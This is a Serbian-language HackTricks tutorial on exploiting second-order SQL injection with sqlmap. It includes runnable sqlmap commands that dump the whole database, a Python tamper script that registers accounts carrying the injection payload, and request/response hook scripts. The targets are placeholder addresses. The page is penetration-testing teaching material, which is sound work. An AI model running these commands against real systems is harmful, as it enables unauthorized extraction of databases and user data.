Second Order Injection with SQLMap

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

SQLMap može da iskoristi Second Order SQLis.
Morate da obezbedite:

  • request gde će biti sačuvan sqlinjection payload
  • request gde će payload biti izvršen

Request gde se SQL injection payload čuva je naznačen kao i kod svake druge injection u sqlmap. Request gde sqlmap može da pročita output/execution injection može biti naznačen sa --second-url ili sa --second-req ako treba da navedete kompletan request iz fajla.

Jednostavan second order primer:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

U nekoliko slučajeva ovo neće biti dovoljno jer ćete morati da izvršite druge radnje osim slanja payload-a i pristupanja drugoj stranici.

Kada je to potrebno, možete koristiti sqlmap tamper. Na primer, sledeći skript će registrovati novog korisnika koristeći sqlmap payload kao email i odjaviti se.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

A SQLMap tamper se uvek izvršava pre nego što se započne injection pokušaj sa payload-om i mora da vrati payload. U ovom slučaju nas payload ne zanima, ali nam je važno da pošaljemo neke requests, tako da se payload ne menja.

Dakle, ako nam je iz nekog razloga potreban složeniji flow da bismo iskoristili second order SQL injection, kao što je:

  • Create an account with the SQLi payload inside the “email” field
  • Logout
  • Login with that account (login.txt)
  • Send a request to execute the SQL injection (second.txt)

Ova sqlmap linija će pomoći:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

Korisni switch-evi u realnim second-order flow-ovima

Second-order automation obično ne uspeva zato što payload storage request radi, ali je execution request bučan, stateful ili zaštićen. Kada se to desi, sledeći flags su obično korisniji od dodavanja još payload-ova:

sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
  • --csrf-token, --csrf-url, --csrf-method: Korisno kada store ili trigger requestu treba svež anti-CSRF token pri svakom pokušaju.
  • --live-cookies: Ponovo učitava cookies pre svakog requesta. Korisno kada browser/Burp macro osvežava session state u pozadini.
  • --safe-req i --safe-freq: Održavaju workflow aktivnim kada te application odjavi ili invalidira session posle nekoliko neuspelih probes.
  • --string, --not-string, --regexp, --code, --text-only: Korisno kada second-order response sadrži bannere, ads, timestamps ili user-generated junk koji čini diffing nestabilnim.

When --tamper is not enough

tamper.py je i dalje najlakši način da se registruje payload, odjavi, ponovo prijavi i pokrene execution. Međutim, na modern targets je često čistije prebaciti deo logike u request/response hooks:

  • --preprocess: Menja ceo HTTP request pre slanja. Korisno kada second-order flow zahteva dodatni nonce, dodatni parameter ili normalizaciju headera.
  • --postprocess: Čisti HTTP response pre nego što sqlmap uporedi sadržaj. Korisno kada je second-order sink umotan u dinamički HTML i samo je mali fragment stabilan.

Example request/response hooks:

#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code

Važna ograničenja

  • Ne pretpostavljajte da će --second-req ponovo pustiti isti payload unutar * placeholder-a u drugom requestu. Ako trigger request takođe treba injected value (ili njegov izvedeni oblik), obično je potreban custom tamper, --preprocess, ili lokalni proxy.
  • Ne oslanjajte se na --eval za drugi request. Zvanična upotreba dokumentuje --eval za primary request flow; ako i drugi request treba per-attempt mutacije, obradite ih unutar vaših helper scripts umesto toga.

Ovaj pattern je posebno koristan kada se payload čuva na mestima kao što su:

  • Filenames ili image metadata koji se kasnije query-uju
  • Registration/profile polja koja kasnije koriste admin panels
  • Sorting/filtering preferences sačuvane server-side i kasnije replay-ovane
  • Workflow state koji se izvršava tek nakon preview, export, ili moderation akcije

Reference

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks